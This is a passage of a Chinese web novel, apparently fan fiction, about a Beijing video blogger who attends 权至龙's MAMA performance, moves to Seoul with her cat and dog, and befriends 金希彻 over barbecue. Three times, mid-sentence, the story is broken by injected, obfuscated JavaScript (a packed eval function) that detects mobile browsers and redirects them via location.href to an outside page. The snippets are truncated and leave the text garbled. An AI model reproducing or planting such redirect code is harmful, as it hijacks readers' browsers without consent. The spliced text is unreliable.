今年过去又是新一年啊 这是你的Dragon Money,拿好了啊零花钱——” 金欢坐在观众席上,感受着周围的震动,听着旁边的粉丝说好像是真的美金,心跳加速到了一个不可思议的程度。 她的韩语不太好,只能听懂一些。但她不需要听懂全部。权至龙的表情、他的肢体语言、他声音里的那股狠劲,已经把一切都表达得清清楚楚。 他在diss这个颁奖礼。 他在告诉所有人:老子不在乎你们怎么评,老子就是要说。 那种嚣张、狂妄、站在舞台中央睥睨一切的霸气,不是演出来的,是从骨子里透出来的。 金欢的手指不由自主地摸上了相机的快门。 她透过取景器看着他,灯光在他脸上打出明暗分明的轮廓,汗水顺着额角滑下来,他的眼神锐利得像把刀。 她按下了快门。 咔嚓。 又按了一下。 咔嚓。 又一下。 咔嚓。 连续三张。 拍完之后她才意识到自己在干什么,愣了一下。 “我为什么要拍他?”她小声嘟囔了一句。 但她没有删掉那三张照片。 权至龙唱完之后,脱下了貂皮大衣,穿着闪亮亮的红色外套,内搭黑色皮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484917|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 质马甲,永培被权至龙刚才的rap震惊地连衣服都没穿——著名的“东不穿”就重新上场。两人紧锣密鼓地唱《Good boy》。 “Hei yo!What''s up!” 权至龙的声音从麦克风里炸出来,带着一种近乎癫狂的兴奋。声音在空旷的场馆里回荡,像一颗石子投入平静的水面。 “Get ready?Woo——” “La la la la la la lala——” 猛然爆裂的电子音,像一记重拳砸在每个人的胸腔上。震得地板都在颤,场馆的每一个角落都被这种野蛮的节拍填满。 “I am a good boy——” 两个人同时开口,他们跟着节拍扭动起身体,力道猛烈,带着黑泡灵魂的、从骨头缝里渗出来的律动。 权至龙正对着麦克风怪叫,脖子上的青筋若隐若现,汗水顺着额角滑下来,眼神亮得吓人。 金欢忽然觉得自己的心跳有点不太对劲。 不是那种看到帅哥时的心跳加速......那种她太熟悉了。这次是重的、猛的、像被人攥住了心脏狠狠捏了一把。 “怎么了?”林夕凑过来问。 “没什么,”金欢的声音有点哑,“音响太震了,心脏不舒服。” 林夕看了她一眼,没有追问,转头继续尖叫。 金欢的目光重新落回舞台上。 权至龙正在延伸台的边缘蹦跳,露出衣服里面一截精瘦的腰线。他的动作越来越狂放,像是要把身体里所有的能量都在这几分钟里燃烧殆尽。 金欢的手指又摸上了快门。这一次,她没有放下相机。她一直拍,一直拍,直到《Good boy》的最后一个音符落下,直到舞台的灯光暗下来,直到权至龙的身影消失在黑暗中。 然后她低头看了看相机屏幕,四十七张,她拍了四十七张权至龙。 金欢盯着那个数字看了三秒,然后面无表情地把相机收了起来。 “拍得怎么样?”林夕问。 “还行。” “给我看看——” “回去再说。” 金欢把相机包好,塞进背包最底层,像是要把什么不想承认的东西一起藏起来。 但她的心跳还是很吵。 权至龙站在舞台中央,胸口剧烈起伏着,汗水浸湿了衬衫的领口。他抬起手,随意地擦了擦额头的汗,目光扫过观众席—— 金欢正低头看着相机屏幕,似乎在检查刚才拍的照片,表情很认真,眉头微微皱着,嘴唇轻轻抿着。 权至龙的目光在她身上多停了两秒,转身的时候,嘴角微微翘了一下。 “Wow~ fantastic baby——” 林夕已经疯了,从座位上站起来,挥舞着皇冠灯,跟着音乐大声唱,声音沙哑了也不肯停。 金欢被她拉着站起来,虽然不会唱韩语歌词,但副歌的“Wow~ fantastic baby”她还是能跟着吼的。 两个人像两个疯子一样在观众席上又唱又跳。 “太爽了!”林夕在音乐间隙对着金欢大喊,“我哥太酷了!!!” “确实酷,”金欢点头。 散场的时候,两个人随着人流往外走。 “怎么样,我哥今天帅不帅?!”林夕问道。 “帅是帅,但......” “没有但是!” 金欢笑着躲开林夕的魔爪,翻出相机里权至龙的照片看了看。 “确实拍得挺好的,”她承认,“他这个人……在舞台上的样子,确实挺有魅力的。” 林夕看着她,忽然笑了。 “你终于承认了。” “承认什么?” “承认权至龙有魅力。” 金欢把相机收起来,耸了耸肩。 “我从来不否认他有魅力啊,只是之前没get到而已。” “那现在呢?” “现在……”金欢想了想,“get到了一点。” “一点?” “一点。” 林夕满意地点了点头。 “还挺酷的,”她小声说了一句。 金欢把相机包好,嘴角微微翘着。 她不知道的是,在艺人出口的方向,一辆黑色的保姆车里,有个人正隔着车窗看着她。 权至龙靠在座椅上,目光追随着那个穿白毛衣的女孩走出场馆。 永培从副驾驶转过头,“你在看什么?” “没什么。” “是那个女孩吗?地团后面第一排的?” 权至龙没有回答。 永培笑了。 “你是不是对人家有意思?” “没有,”权至龙收回目光,“就是觉得……挺有意思的。” “哪里有意思?” 权至龙想了想。 “她一直在看地团,”他说,语气里带着一丝连他自己都没察觉的不爽,“全程都在看。” 永培愣了一下,然后笑了起来。 “你该不会是吃醋了吧?” “吃什么醋?” “吃地团的醋啊。” 权至龙看了他一眼,那个眼神的意思是“你再说话我就把你扔下车”。 永培识趣地闭上了嘴。 保姆车缓缓驶出停车场。权至龙闭上眼睛,脑海里浮现金欢低头看相机的样子,眉头微皱,嘴唇轻抿,然后嘴角微微翘起。 她拍的是谁? 地团?还是……他? 他想起她在《Good boy》表演的时候举起相机的样子。 权至龙睁开眼睛,嘴角微微弯了一下。 “有意思,”他轻声说。 金欢坐在回酒店的出租车上,翻着相机里的照片,翻到权至龙的照片,又看了一眼。 舞台上的权至龙,逆着光,眼神锐利,汗水沿着额角滑落,带着一种“老子天下第一”的嚣张。 她盯着照片看了三秒,然后把相机收了起来。 “怎么了?”林夕问。 “没什么,”金欢靠在车窗上,“就是觉得……这张照片拍得挺好的。” 林夕愣了一下,然后露出了一个意味深长的笑容。 “哦——” “你‘哦’什么?” “没什么,”林夕学着她的语气,“就是觉得……有点意思。” 4. 留学总动员 MAMA之后,金欢的生活回归了日常节奏:写毕业论文、准备留学材料、吃饭睡觉、看帅哥、遛狗、跟五一抢遥控器。 但有些东西悄悄地变了,她的手机壁纸换成了权至龙——逆光。 金欢自己都没意识到这件事。她换壁纸的时候在相册里翻了一圈,手指滑到那张照片停了一下,心想这张构图不错,然后就设成了壁纸。 林夕第一次看到的时候,差点没把手机吞下去。 “你壁纸是谁?!” “权至龙啊,怎么了?” “你之前不是说他不符合你审美吗!” “我说的是‘不太符合’,”金欢纠正,“而且我设这张是因为构图好,不是因为人。” 林夕表示“你继续编”。 金欢翻了个白眼,但耳朵尖悄悄红了。 真正让金欢下定决心去韩国留学的,是那个韩国之旅视频的后续效应。视频发出后以及自己开始做自媒体的这半年多,她的粉丝逼近五百万,但最让金欢意外的,不是粉丝的增长,而是宠物广告商来了。 金欢的视频里,初一和五一的出镜率太高了。初一蹲在冰箱顶上俯视众生的高贵姿态,五一用智商碾压金欢的各种骚操作......这两个毛孩子的人气一度超过了金欢本人。 评论区天天有人喊: 【我是来看初一的】 【五一今天拆家了吗】 【求初一同款猫爬架】 【五一吃的什么狗粮】 然后,宠物品牌的pr就找上门了。 “初一!五一!”她冲着猫狗大喊,“你们有广告了!” 初一蹲在猫爬架上,舔了舔爪子,表情冷漠,表示“本喵早该有了”。 五一从地上站起来,尾巴摇得像直升机,绕着金欢转了三圈,然后冲到食盆前面蹲好,表示“广告费能换成零食吗”。 金欢把合作邮件仔仔细细看了三遍。是一个中高端的宠物食品,主打天然无添加,价格不便宜。他们想让初一和五一能在视频里试吃新产品。 拍摄那天,金欢把两个食盆摆好,左边倒原来的粮,右边倒新品牌的粮。 初一慢悠悠地从猫爬架上下来,走到两个食盆前面,闻了闻左边的,走了;闻了闻右边的,低头吃了两口,然后抬头看了金欢一眼,表示还行,可以长期合作。五一更直接,把右边的食盆整个舔干净了,然后用鼻子把左边的食盆拱到一边。 金欢把整个过程拍了下来,剪成一期“猫狗试吃”。视频发出后,品牌方的货直接卖断货了。 从那以后,宠物品牌的合作邀约像雪花一样飘来。猫粮、狗粮、猫砂、狗窝、猫爬架、牵引绳、宠物沐浴露——初一和五一的吃穿用度,全被品牌方包圆了。 金欢专门拍了一期视频,标题是:“我家毛孩子已经能自己养活自己了。” 视频里,她拿着计算器,一本正经地算账:“初一和五一上个月的广告收入,扣除税费之后,足够覆盖它们自己的伙食费、零食费、玩具费、还有定期体检洗澡的费用。甚至还有剩余。” 她转头对着镜头,表情复杂:“朋友们,我养了一年的毛孩子,现在它们比我挣得多。” 初一蹲在旁边,尾巴优雅地圈住爪子,表情写满了“不然呢”。五一趴在地上,嘴里叼着一个新玩具,尾巴摇得欢快。 【哈哈哈哈哈哈哈人不如猫狗系列】 【金欢:我辛辛苦苦拍视频,结果毛孩子是家里顶梁柱】 【初一:这个家没我得散】 【五一:广告费到账了,今晚加鸡腿】 金欢叹了口气,对着镜头说:“行吧,既然毛孩子已经能自己养活自己了,那我就能放心去留学了。” 她顿了顿,嘴角翘起来。 “毕竟,韩国的帅哥还等着我去看呢。” Kkkkkkkkkk...... 【金欢你还是那个金欢】 【所以留学经费是毛孩子出的?】 【初一说:你去吧,这个家交给我】 “初一,谢谢你啊,广告费够我交学费了。”初一难得没有躲开,用头蹭了蹭她的手心。五一凑过来,把脑袋搁在金欢腿上。金欢揉了揉五一的耳朵:“也谢谢你啊,广告费够咱仨在首尔吃喝了。”五一汪了一声,尾巴摇得更欢了。 金欢后来反复强调一件事:她接的宠物广告,全是初一和五一自己在用的。没用过的产品不接,质量不过关的不接,毛孩子不喜欢的也不接。 “我接广告的原则很简单,”她对着镜头竖起一根手指,“我家毛孩子吃啥用啥,我就推荐啥。它们不吃的,给再多钱我也不接。” 这句话后来成了她宠物系列视频的金句,品牌方挤破了头想让初一和五一“翻牌子”。 金欢把这些收入单独开了一个“毛孩子成长基金”账户。每个月定期给初一和五一买零食、玩具、做体检洗澡,剩下的存着,说是以后给它们养老。 “毕竟,”她在视频里认真地说,“它们现在是我家主要劳动力,得好好保养。” 【哈哈哈哈哈哈资本家金欢】 【初一:我打工养你你还说我?】 【五一:我的尾巴不是用来摇的,是用来创造价值的。】 出发前一周,金欢的“留学必备清单”新鲜出炉。 视频里,她坐在客厅中间,被一堆物资包围着,像一个囤积症的晚期患者。 “朋友们,这就是我全家给我准备的东西,”她拿起一袋杏干,“姥爷的果干,三箱。” 拿起一瓶老干妈:“调料,一箱。” 拿起一件红旗袍:“姥姥做的结婚用旗袍,虽然我连男朋友都没有。” “还有我妈给的平安扣,希望我平平安安。” 她沉默了两秒,对着镜头笑了。 “说实话,我以前觉得我运气好,是因为不用努力也能活的潇洒自由。” “但现在我觉得,我运气最好的地方,是生在这个家。” 【呜呜呜呜呜金欢你别说了】 【这个家太好了】 【我也想被这么多人爱着】 “行了,不煽情了。接下来给大家表演一个——如何把三个人的物资塞进两个行李箱。” 她站起来,撸起袖子,对着满地的箱子露出了一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她掏出手机,发了条ins。照片是公寓阳台的视角——首尔的天空,灰蓝色的,有几朵云。配文只有两个字:“到了。” 评论秒到。 【林夕:啊啊啊啊啊你到了!!!记得帮我偶遇权至龙!!!】 金欢看着这条评论,嘴角抽了一下,没有回复。 “初一,五一,”她回头看了一眼两只宠物,“晚上想吃什么?” 初一从冰箱顶上跳下来,优雅地走到食盆前,蹲好。五一从地上站起来,尾巴摇得像直升机的螺旋桨,兴奋地转了三圈。 金欢笑了。 “行,那就给你们做好吃的。” 权至龙刷到了金欢发的ins,照片是首尔的天空,配文是“到了”。 他盯着那张照片看了几秒。 照片里的天空,恰好和他工作室窗外的天空是同一片天空。 他把手机放下,拿起桌上的笔,继续写歌。但写了两行之后,他停下来,又拿起手机看。 “金欢,”他念了一遍她的名字,嘴角微微弯了一下,“终于来首尔了。” 5. 烤肉店奇遇 来首尔的第三个晚上,金欢终于受不了自己做饭了,决定外出觅食。 “初一,你妈要出去觅食,你在家乖乖的。” 初一低下头,看都没看她。 金欢:“……行,是我自作多情了。” 她站起来随手套了件衣服。脸上什么都没涂,哦不......涂了唇膏,她嘴巴容易干,韩国这破气候可不是开玩笑的。 金欢对着镜子点了点头:“不错,还是这么好看。” 出门前她回头看了一眼五一,五一趴在新买的狗窝里,歪着脑袋看她,尾巴摇了摇,表示“铲屎官再见”。 金欢早就查好了,弘大附近有一家烤肉店,评分超高,韩国本地人推荐的。金欢的原则很简单:真正好吃的店都藏在巷子里,门口排队的都是本地大爷大妈。大爷大妈不会骗人,他们的嘴比米其林评委还刁。 这家店符合她的标准:门脸不大,灯光昏黄,老板在门口切肉,刀工干净利落,每一刀下去厚度均匀,一看就是练了二十年的手艺人。 金欢推门进去的时候,里面已经坐了七八桌,空气中弥漫着炭火和牛肉的香气。 “好香。” 老板娘迎上来,是个五十多岁的阿姨,看她一个人,问道:“一个人?” “是的,一个人。” 老板娘的表情变了,带着一点抱歉的为难,像极了医院里告诉你“你这个病不太好治”的医生。 “不好意思,”老板娘指了指店里的桌子,“我们店一个人不方便,都是大桌,两个人起。” 金欢愣了一下。 她来之前做了功课,知道韩国有些烤肉店确实不接待一个人吃饭的客人,烤肉都是两人份起点,一个人占一张桌子不划算,资本主义算盘打得她在北京都听见了。但她以为这是少数,没想到自己运气这么好,第一家就撞上了。 “我可以吃两人份。”金欢尝试争取,眼神真诚得像在面试。 老板娘抱歉地笑了笑:“不好意思,规定。” 金欢:“……” 她看了看店里那些空着的两人桌,又看了看老板娘那张“我也没办法”的脸。 行吧。这破规定她能记一辈子,走出第一家店,拐进巷子里的第二家。 “一个人?”老板看了她一眼,摇了摇头,“不行,两个人起。” 第三家。 “一个人?不好意思,没有位置了。”但店里明明还有三张空桌,老板说这话的时候眼睛都没眨一下。 金欢站在第三家烤肉店门口,仰天长叹。 她掏出手机,给林夕发了条语音,语气像受了天大的委屈:“你知道我现在什么处境吗?我想吃个烤肉,三家店都拒绝了我,因为我就一个人。我一个人怎么了?我一个人能吃两人份!我又不是不给钱!我甚至愿意多给钱!这是歧视!单身歧视!” 林夕秒回了一条语音,笑声震天响,金欢把手机拿远了十公分还是觉得耳朵疼:“哈哈哈哈哈哈哈哈你也有今天!叫你一个人去韩国!叫你一个人去吃烤肉!你一个人吃海底捞的时候服务员给你对面放娃娃的劲儿呢?!” “你笑什么笑!”金欢气得差点把手机摔了,然后理智回笼,意识到摔了还得自己花钱买新的,默默把手机攥紧了。 她站在巷子里,看着第四家烤肉店的招牌,脑子里开始飞速运转。 假装有朋友。 这招行不错,万一老板问起来呢?万一“朋友”一直不来呢?万一...... 管他呢,推开第四家店的门,面不改色心不跳,脸上挂着一种“老娘今天就是来吃肉的”的淡定表情。 老板娘热情地迎上来:“几位?” 金欢用她最自然的语气说:“两位。我朋友一会儿来,我先到。” 语气之自然,表情之真诚,如果撒谎有奥运会,她这表现至少能进半决赛,也幸亏头发盖住了耳朵,要不然就得露馅,首战即失败。 金欢被领到一张靠窗的两人桌坐下,接过菜单,心里疯狂给自己鼓掌。 成了! 她翻开菜单,目光扫过每一道菜,最后锁定了几样:牛肋眼、牛舌、大酱汤、泡菜饼。 “先来这些,”金欢把菜单递还给老板娘,“肉先上,汤和饼可以晚一点。” “好的,你朋友大概什么时候到?” 金欢面不改色:“堵车呢,可能要一会儿,我先吃。” 老板娘笑着走了。 金欢靠在椅背上,长出一口气,嘴角翘了起来。 肉上来了,金欢拿起夹子,把肉一片一片地铺在烤盘上,动作不急不慢。雪花般的油脂在炭火的高温下迅速融化,发出“滋滋”的声响,肉香瞬间弥漫开来。 第一片肉烤好了,她没有蘸任何酱料,直接放进嘴里。 咀嚼了两下,她的眼睛亮了,瞳孔里仿佛有小星星在闪。 “好......吃......”她用中文小声感叹了一句,尾音上扬,带着一种发自肺腑的满足感。 肉质鲜嫩,油脂在嘴里化开,带着淡淡的炭火香,这片肉死得其所。 金欢吃东西的时候有个特点,她吃得认真,每一口都仔细品味,但不会让人觉得做作。用她粉丝的话说:“看金欢吃东西,比自己吃还香。” 她正在享受的时候,店门被推开了。 老板娘迎上去:“几位?” 男人的声音低沉,带着一点沙哑:“两位。朋友一会儿来。” 金欢手里的筷子顿了一下,抬起头,看了那个男人一眼。 那个男人也在看,准确地说,是在看店里的空位。他的目光扫过金欢这一桌的时候,两个人对视了一秒。 金欢低下头继续吃肉。男人被老板娘领到金欢隔壁桌,中间隔了一条窄窄的过道。 他坐下之后,直接点餐:“肋眼两份,牛舌一份,大酱汤,烧酒一瓶。” 金欢听到这个点单,眉毛微微动了一下。 肋眼、牛舌、大酱汤......跟她点的几乎一模一样,连顺序都一样。 “懂行。”她小声嘟囔了一句,继续吃自己的,但耳朵不自觉地竖了起来。 金欢本来没打算看他,但余光瞥见了他烤肉的姿势,拿起夹子,把肉铺在烤盘上,动作不急不慢,翻面的时机把握得很准。 “也是个会吃的。”金欢心想,顺便又夹了一片自己的肉。 她吃完最后一片牛舌,正准备叫老板娘加单,隔壁桌的男人忽然开口了。 “你朋友还没来?” 金欢转头,对上他的目光,他的眼神不轻浮,就是纯粹的有点无聊想找个人聊天的随意。大概是一个人烤肉太寂寞了。 “嗯……堵车。”金欢说,语气里带着一丝连她自己都没察觉的心虚。 男人看了她一眼,嘴角微微弯了一下,弯的弧度很克制,但足够明显:“我朋友也堵车。” 两个人对视了一秒。同时笑了。那个笑容的意思是:我们都没有朋友要来。 “你也是一个人?”金欢问,把“也是”两个字咬得很重。 “嗯。”男人点头,语气里带着一种过来人的沧桑,“被三家店拒绝了。” “三家?!”金欢一拍桌子,声音大到旁边两桌都转头看她,“我也是三家!第一家说一个人不方便,第二家直接说不行,第三家明明有空桌却跟我说没位置了。你说气不气人?” 男人听到这里,笑了起来。他的笑声不大,但很有感染力,肩膀一抖一抖的。 “我也是,”他说,“所以我才想到这个办法——假装有朋友。”男人说。 “我也是!”金欢激动得差点站起来,“我在第四家店门口站了三分钟,做了十分钟的心理建设,才鼓起勇气进来骗人。。” 男人看着她,眼睛里带着一种“这人有点意思”的光。 “你是中国人?”他问。 “对。北京来的。”金欢点头,“你呢?韩国人?” “韩国人。”男人用韩语回答,然后又用带着口音的中文说,“我的中文不太好,但能听懂一点。以前学过。” 金欢笑了,自动切换成中韩混合模式:“那我慢点说,夹杂着来,你能听懂就听懂,听不懂我比划。” “你是来旅游的?”男人问。 “上学,刚来三天。” 男人点了点头,没有继续追问,而是把烤盘上烤好的肉夹起来,蘸了点酱,放进嘴里。 他咀嚼的时候,表情变了,他是眼睛微微眯了一下,然后轻轻点了一下头。 金欢看到这个表情,忽然开口了:“好吃吧?” 男人看了她一眼,点头:“嗯,这家店肉的质量一直很稳定。老板有自己的进货渠道,不是什么便宜货。” “肋眼的油脂分布不错,”金欢接话,筷子指着自己盘子里还没烤的肉,“但我觉得牛舌更惊艳。厚切,火候掌握得好,外面焦里面嫩。肋眼是标准的好学生,牛舌是偏科的天才。” 男人听到这句话,放下了筷子,认真地看着她。 “你也是懂吃的。不是那种‘好吃好吃真好吃’就完事了的。” “我姥爷是厨师,”金欢笑了笑,语气里带着一点骄傲,“从小被养刁了。我姥爷说了,一个人会不会吃,看他对牛舌的态度就知道。只吃肋眼的叫贪嘴,会吃牛舌的叫懂行。” “难怪。”男人又夹了一片牛舌,放进嘴里,慢慢咀嚼,“你刚才说的对,牛舌确实比肋眼更惊艳。但肋眼的第一口,是最香的。那种脂肪在嘴里化开的感觉,是任何其他部位都给不了的。” “对!”金欢一拍桌子,这次比刚才拍得还响,“第一口肋眼,脂肪在嘴里化开的那一下,是整个烤□□验的高光时刻。后面再吃,就没有那种惊艳感了。所以第一口一定要给肋眼,这是烤肉界的礼仪。” 男人的眼睛亮了。他放下筷子,转过身来,用一种“我终于找到知音了”的表情看着金欢。 两个人隔着一条窄窄的过道,相视而笑,笑得心照不宣,笑得好像全世界只有他们两个人懂这个道理。 老板娘端着大酱汤走过来,看了看他们两个,用韩语说:“你们认识?” “刚认识。”男人回答,语气随意。 “哦——”老板娘拖长了音,意味深长地笑了笑,放下汤走了。那个“哦”里面包含了韩国大妈对爱情故事的想象。 金欢看着老板娘的背影,小声说:“她是不是误会了?她那个‘哦’是什么意思?” 男人耸肩,一副见怪不怪的表情:“韩国大妈都这样,你要是跟她解释我们只是拼桌的,她能跟你急。” “我们是各自吃各自的。”金欢强调。 “她知道,但她还是会误会。这就是韩国大妈的职业素养。”男人端起烧酒,倒了一杯,“你要不要喝?我请,庆祝我们两个骗子成功骗到座位。” 金欢想了想,看了看自己已经空了的盘子,又看了看他烤盘上还没吃完的肉。 “行,我还有个泡菜饼,一起分。光喝你的酒不还礼,这不是我的作风。” “对了,我叫金希彻。”他说,语气随意得像在说“今天天气不错”,然后等着看对方的反应。 金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17484919|201952||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 欢手里的筷子顿了一下,金希彻,这个名字…… 她总觉得有点耳熟,好像在哪里听过。想了三秒,终于想起来了——林夕以前好像给她看过一张照片,指着一群人说这是......她当时在吃薯片,根本没走心,就记得“有个人的名字听起来像洗发水”。 “我叫金欢。”她说,语气同样随意,没有任何波澜。 金希彻看着她,表情有点意外:“你不惊讶?” “惊讶什么?”金欢真诚地问。 “我是明星啊。”金希彻说这句话的时候,语气里没有炫耀,反而带着一点“你居然不认识我”的不可思议。 “我知道啊。”金欢淡定地夹了一片泡菜饼,嚼了嚼,咽下去,“但你又不是人民币。” 金希彻沉默了两秒,然后笑了起来。整个烤肉店的人都转头看过来,连门口切肉的老板都抬头看了一眼。 “你这个人,”他指着金欢,笑得喘不上气,“有意思,太有意思了。” “我怎么了?”金欢一脸无辜,嘴里还嚼着泡菜饼,“我说的是实话啊。” “你知道有多少人见到我,第一反应是尖叫、要签名、要合照、晕倒吗?”金希彻擦了擦眼角笑出来的泪。 “那他们是你粉丝,我又不是。”金欢耸了耸肩。 “那你是我什么?” 金欢想了想,给出了一个非常精准的定义:“饭友,同病相怜的单身食客联盟成员。” 金希彻看着金欢,眼睛里带着一种“我单方面宣布跟这个人做朋友了”的光。 “你平时也这样吗?”他问。 “什么样?” “这么……直接。想到什么说什么,完全不看人脸色。” “分人。”金欢说,语气理所当然,“对值得直接的人就直接,对不值得的人就懒得说话。浪费我能量。” “那我属于值得的?” “目前看还行,”金欢歪了歪头,认真地评估了一下,“能吃到一个锅里的人,人品都不会太差。饭桌上最能看出一个人的品性——怎么点菜、怎么分肉、怎么对待服务员,全在细节里。” 金希彻举起烧酒杯:“这句话我要记下来。以后别人问我为什么跟你做朋友,我就说......因为能吃到一个锅里。” 金欢也举起自己的水杯,跟他碰了一下,碰杯的声音清脆,混在烤肉店的嘈杂里。 从那一刻起,金欢和金希彻的关系就定了性,两个有趣的人的惺惺相惜,是“我编的故事你一秒就懂”的默契。 俩人一见如故,聊了很多,金希彻问她为什么来韩国留学。 “想换个环境,”金欢说,然后又补了一句大实话,“顺便看看帅哥。北京的帅哥我看腻了,换个地方换换口味。” 金希彻说:“你倒是诚实,一点都不装。” 金欢说:“我这人最大的优点就是诚实。懒是第二。” 金希彻问她做什么工作。 “拍视频的,自媒体博主。在互联网上当电子榨菜。” 金希彻又问她在哪个大学,金欢说梨花女大。 “那离弘大不远,”金希彻说,“以后可以经常约饭。我知道这附近好多好吃的店,一个人不方便去的,咱俩可以搭伙骗座位。” 金欢点头:“可以。但你请客。” 金希彻瞪大眼睛:“凭什么?” “因为你是前辈啊,”金欢理直气壮,“在韩国,前辈请后辈吃饭不是天经地义吗?我这是尊重你们的文化。” “你是中国人,”金希彻不上当,“你不用遵守韩国的前后辈文化。” “那就不请了?”金欢问。 “我请。” 金欢笑了,笑得眼睛弯成月牙形,露出两颗小虎牙。 金希彻看着她的笑容,忽然说了一句:“你长得挺好看的。” 金欢愣了一下:“谢谢?虽然你夸人的方式很突然。” “不是那种恭维,”金希彻认真地说,表情诚恳,“是客观评价。你不化妆比很多化妆的女生都好看。而且你眼角那颗痣,很有辨识度。” “我妈也这么说。”金欢摸了摸眼角的红痣,“她说这是福相,招财的。” “你妈说得对。”金希彻点头,“你这性格,在娱乐圈能火。” “不了不了,”金欢摆手,“我懒得营业。” 两个人又聊了一会儿,金希彻的烧酒喝完了,金欢的泡菜饼也吃完了,金希彻叫老板娘结账。 金欢说:“我的我自己付。” 金希彻说:“说好我请的。” “那是开玩笑的,”金欢掏出钱包,“咱俩AA。我跟你又不熟,吃你一顿以后还得还人情,麻烦。” 付完钱,两个人走出烤肉店,首尔的夜风吹过来,带着一点凉意,吹散了身上的烤肉味。 金希彻把卫衣的帽子戴上,双手插进口袋,转头看金欢。 “你住哪?” “弘大附近,走路十分钟。” “我开车来的,送你?大晚上的你一个人走不安全。” “不用,”金欢摇头,指了指前面的路,“我想走走,消消食。刚才吃太多了,得消耗一下,不然回去睡不着。” 金希彻点了点头,没有勉强。 “今天谢谢你请的泡菜饼。虽然是AA,但饼是你点的,算你请的。” 金欢笑着挥了挥手,“走了,下次见。” 金希彻站在原地,看着她的背影,说:“到家了跟我说一声。” 金欢秒回:“知道了,啰嗦。你这人怎么跟我妈似的。” 6. Roomtour 金欢穿着一件oversized的卫衣,站在客厅中间,头发随便扎了个丸子头。 “朋友们,”她对着镜头露出一个标准金欢式的笑容,“欢迎来到我的首尔新家。今天的视频没有脚本,没有滤镜。” 她先拍客厅,客厅不大,但被她布置得很温馨,米白色的沙发上,堆满了毛绒玩偶,像一座毛绒绒的小山丘。 “你们看到了,”金欢对着镜头摊手,表情无辜,“这是我的沙发,但已经没有我能坐的位置了。每次回家都得先把它们扒拉到一边,才能坐下来。我有时候觉得我是在跟一堆玩偶合租。” 镜头扫过沙发:星黛露、星黛露、星黛露、星黛露、星黛露…… “我真的很努力在控制了,”金欢的表情写满了“我知道我有病但我不想治”,“但每次一看到星黛露就走不动道。你们懂那种感觉吗?就是那种......你的眼睛说‘你已经有很多了’,但你的手说‘再买最后一个’,然后你的钱包说‘你们俩闭嘴’。” “朋友们,这是我的第……我数数,一、二、三、四、五……” “算了,不数了,数了也是白数。反正沙发上的这些只是我收藏的一点点。卧室里还有一支军团。” “我妈说我可以开一家星黛露专卖店了。我说妈,这叫收藏。她说你收藏那么多兔子干嘛,它们会下崽吗?我说妈,它们不下崽,但它们让我开心。开心值多少钱?无价。” 客厅的另一边,靠墙的矮柜上摆满了鲜花。郁金香、风信子、满天星、桔梗、小雏菊,各种颜色挤在一起,像一个小小的花市,看得人心情都亮了。 “我每周都会去弘大那边的花店买花,”金欢蹲下来,凑近闻了闻芍药,“韩国的花真的好贵。这一束在国内可能三四十块钱,在这边要两三万韩元,换算成人民币一百多。每次付钱的时候心都在滴血。” 她顿了顿,补充了一句:“但摆在家里心情会变好。而且拍视频的时候当背景也好看。所以这不算消费,这是道具费。对,道具费,可以报销的那种。” 【233333......这是什么会计学鬼才】 【金欢你的星黛露也太多了吧!星黛露本露!】 【沙发已经没有位置了哈哈哈哈哈哈】 【这个花墙好漂亮!我也想拥有!】 厨房是金欢最满意的地方。灶台上摆着她从北京带来的调料,老干妈、八角、香叶......整齐地码了一排,像一支调料军团。 “这个厨房,就是我选这个公寓的主要原因,”金欢对着镜头说,语气认真得像在推销房子,“灶台够大,油烟机够给力,够我折腾。” “看到没,这是老干妈,留学生之母。这是姥爷的果脯,可惜肉类不让带,要不然我得带个十箱八箱的。这是妈妈寄来的红枣,这是枸杞......我虽然一个人在首尔,但感觉全家人都陪着我。” 镜头推进到金欢的卧室,观众看到的是一张铺着白色床单的大床,整个床头全是星黛露。 “这个,”金欢拿起一只最小的星黛露挂件,对着镜头展示,“是在机场买的,第一个,是我的星黛露启蒙老师。” 她放下小挂件,拿起一只中号的:“这个是在弘大线下店抢到的,最后一个。我当时跟一个韩国小姑娘同时伸手,我赢了。对不起,小朋友,但姐姐比你大十岁,手比你长。” “这个是好闺闺送我的生日礼物,”她的声音从星黛露的肚子里传出来,闷闷的,“她专门从日本代购的,寄到北京,我又从北京背到首尔。” 她把脸从星黛露肚子里拔出来,对着镜头认真地说:“但我觉得,喜欢的东西就要买,不然晚上会睡不着觉。你想想,一只星黛露才多少钱?失眠一晚上对身体伤害多大?所以买星黛露等于投资健康。这个逻辑没毛病吧?” 【金欢你是星黛露野生代言人吗】 【这个卧室也太梦幻了吧!】 【我也想有一个全是星黛露的床!】 【买星黛露=投资健康我学会了!】 